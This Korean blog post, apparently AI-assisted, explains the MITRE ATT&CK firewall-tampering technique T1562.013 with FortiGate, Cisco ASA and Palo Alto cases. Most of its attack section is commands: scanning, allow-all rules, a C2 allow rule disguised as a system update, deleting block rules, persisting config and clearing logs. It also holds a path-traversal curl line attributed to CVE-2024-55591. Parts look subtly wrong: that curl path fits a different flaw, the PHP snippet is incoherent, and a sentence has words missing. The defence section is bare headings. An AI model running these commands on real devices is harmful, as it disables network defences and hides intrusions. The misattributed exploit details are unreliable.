MITRE ATT&CK T1562.013 기법으로 공격자가 Fortinet, Cisco 방화벽 10,000대를 무력화한 실제 사례와 동작 원리를 분석합니다. CVE-2024-55591 LockBit 공격부터 방어 전략까지 완전 해부.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
2024년 한 해 동안 Fortinet FortiGate 방화벽 취약점으로 인해 전 세계 10,000대 이상의 네트워크 디바이스가 공격을 당했다. 이는 단순히 방화벽 소프트웨어의 문제가 아니라, 네트워크 경계 보안의 핵심 구성 요소인 방화벽 자체가 공격 대상이 되었다는 의미이다.
전통적으로 네트워크 보안은 성벽 모델(Castle Model)을 따랐다. 외부와 내부 사이에 방화벽이라는 거대한 성벽을 세우고, 모든 트래픽이 이 성벽의 문(포트)을 통해서만 지나가도록 제한했다. 하지만 공격자들은 성벽 자체를 무너뜨리거나 새로운 문을 만드는 방법을 터득했다.
기존 방식의 핵심 결함은 방화벽 관리 권한을 탈취당하면 모든 보안 정책이 무력화된다는 점이었다. 마치 성벽의 열쇠를 도둑맞으면 성 전체가 무방비 상태가 되는 것과 같다.
T1562.013은 공격자가 네트워크 방화벽의 설정을 직접 조작하여 방어 메커니즘을 우회하는 기법이다.
T1562.013은 적대자가 네트워크 디바이스 기반 방화벽을 완전히 비활성화하거나 특정 규칙을 추가, 삭제, 수정하여 네트워크 제한을 우회하는 공격 기법이다.
Adversaries may disable or modify network device based firewall mechanisms to bypass controls limiting network usage. Modifications to network device based firewalls may take the form of adding, deleting, or modifying rules and may be performed remotely or locally. — MITRE ATT&CK T1562.013
위 정의에 따르면, 이 공격은 단순히 방화벽을 끄는 것뿐만 아니라 정교하게 규칙을 조작하는 것도 포함한다.
| 용어 | 설명 |
|---|---|
| T1562.013 | 범위: 네트워크 디바이스 방화벽 / 주요 차이점: 하드웨어/펌웨어 기반 방화벽 조작 / 공격 대상: Cisco ASA, Fortinet FortiGate |
| T1562.004 | 범위: 시스템 방화벽 / 주요 차이점: 호스트 기반 방화벽 비활성화 / 공격 대상: Windows Firewall, iptables |
| T1562.007 | 범위: 클라우드 방화벽 / 주요 차이점: 클라우드 네이티브 방화벽 수정 / 공격 대상: AWS Security Groups, Azure NSG |
| T1562.001 | 범위: 보안 도구 전반 / 주요 차이점: EDR/AV/모니터링 도구 무력화 / 공격 대상: CrowdStrike, SentinelOne |
T1562.013 네트워크 방화벽 무력화 공격 흐름
공격자는 다음 세 가지 방법 중 하나로 방화벽 관리 권한을 획득한다:
방법 1: 취약점 악용 최근 Fortinet 사례처럼, 인터넷에 노출된 방화벽의 관리 인터페이스에서 인증 우회 취약점을 악용한다.
# 실제 공격에서 사용된 Fortinet 취약점 스캔 명령
nmap -p 443,80,10443 --script http-vuln-cve2024-55591 target_firewall
방법 2: 정당한 계정 탈취 네트워크 관리자의 계정을 피싱이나 크리덴셜 스터핑으로 탈취한다.
방법 3: 내부 접근 후 권한 상승 이미 내부 네트워크에 침투한 상태에서 방화벽 관리 VLAN으로 측면 이동한다.
공격자는 기존 방화벽 규칙을 분석하여 어떤 트래픽이 차단되고 있는지 파악한다:
# Cisco ASA 방화벽 규칙 조회
show access-list
show route
show nat
# Fortinet FortiGate 정책 조회
get firewall policy
get router static
공격자는 세 가지 방식으로 방화벽 정책을 조작한다:
A. 모든 트래픽 허용 규칙 추가
# Cisco ASA 예시
configure terminal
access-list OUTSIDE_IN extended permit ip any any
access-group OUTSIDE_IN in interface outside
# Fortinet FortiGate 예시
config firewall policy
edit 1
set srcintf "wan1"
set dstintf "internal"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ALL"
next
end
B. 특정 C2 서버 허용 정교한 공격자는 눈에 띄지 않게 특정 IP나 포트만 허용하는 규칙을 추가한다:
# 특정 C2 서버(203.0.113.50)로의 HTTPS 트래픽 허용
config firewall policy
edit 100
set srcintf "internal"
set dstintf "wan1"
set srcaddr "all"
set dstaddr "203.0.113.50"
set action accept
set service "HTTPS"
set comment "System Update Service"
next
end
C. 기존 차단 규칙 삭제
# 특정 정책 삭제
config firewall policy
delete 25
end
# 또는 정책 비활성화
config firewall policy
edit 25
set status disable
next
end
공격자는 방화벽 재부팅 후에도 변경사항이 유지되도록 설정을 저장한다:
# Cisco ASA
write memory
# Fortinet FortiGate
execute backup config flash
마지막으로 공격자는 자신의 활동 흔적을 지웁니다:
# FortiGate 로그 삭제
execute log delete
diagnose log clear
# 관리 세션 로그 삭제
execute log filter category 3
execute log delete
공격자에게 네트워크 방화벽은 단일 실패 지점(Single Point of Failure) 이다. 한 번의 성공적인 침투로 전체 네트워크 경계 보안을 무력화할 수 있기 때문이다.
특히 공격자들이 주목하는 방화벽의 구조적 약점은 다음과 같다:
네트워크 방화벽 공격 흐름도
1. Fortinet FortiGate LockBit 랜섬웨어 사건 (CVE-2024-55591)
InTheCyber 보고서에 따르면, 노출된 Fortinet FortiGate 방화벽 인터페이스가 LockBit 랜섬웨어 공격의 진입점이 되었다. 공격자는 다음 단계를 거쳤다:
# 1. 취약점 스캔
nmap -sV -p 443,10443 --script ssl-enum-ciphers target_fortigate
# 2. CVE-2024-55591 익스플로잇
curl -k "https://target:10443/remote/fgt_lang?lang=../../../../..//////////dev/cmdb/sslvpn_websession"
# 3. 관리자 세션 하이재킹 후 정책 조작
config firewall policy
edit 999
set srcintf "wan1"
set dstintf "internal"
set srcaddr "all"
set dstaddr "all"
set action accept
set service "ALL"
set comment "Temporary Rule"
next
end
2. Palo Alto Networks CVE-2025-0108 연계 공격
Palo Alto Networks는 과 를 연계한 공격을 확인했다:
// 공격자가 실행한 PHP 스크립트 (단순화)
<?php
// 모든 인바운드 트래픽 허용 규칙 추가
system("configure");
system("set rulebase security rules allow-all from any to any");
system("commit");
?>
즉시성: 방화벽 규칙은 즉시 적용되므로 공격자는 변경 후 바로 우회 경로를 사용할 수 있다.
지속성: 설정이 저장되면 방화벽 재부팅 후에도 악성 규칙이 유지된다.
은밀성: 기존 규칙 사이에 악성 규칙을 삽입하면 관리자가 눈치채기 어렵다.
관리 인터페이스 격리
다중 인증 강화
변경 사항 모니터링
정기적 보안 점검
T1562.013은 네트워크 방화벽의 중앙 집중식 관리 구조를 악용하여 전체 네트워크 경계 보안을 무력화하는 강력한 공격 기법이다.
이 기법과 관련된 다른 방어 무력화 공격들을 함께 살펴보면 더 포괄적인 보안 전략을 수립할 수 있다. 시스템 방화벽 무력화 공격과 클라우드 방화벽 무력화 공격도 유사한 원리로 작동하지만 각각 다른 환경과 도구를 대상으로 한다.
다음에는 공격자가 방화벽을 우회한 후 사용하는 네트워크 장비 CLI 공격 기법과 보안 무력화의 전체적인 전술 체계를 살펴볼 예정이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.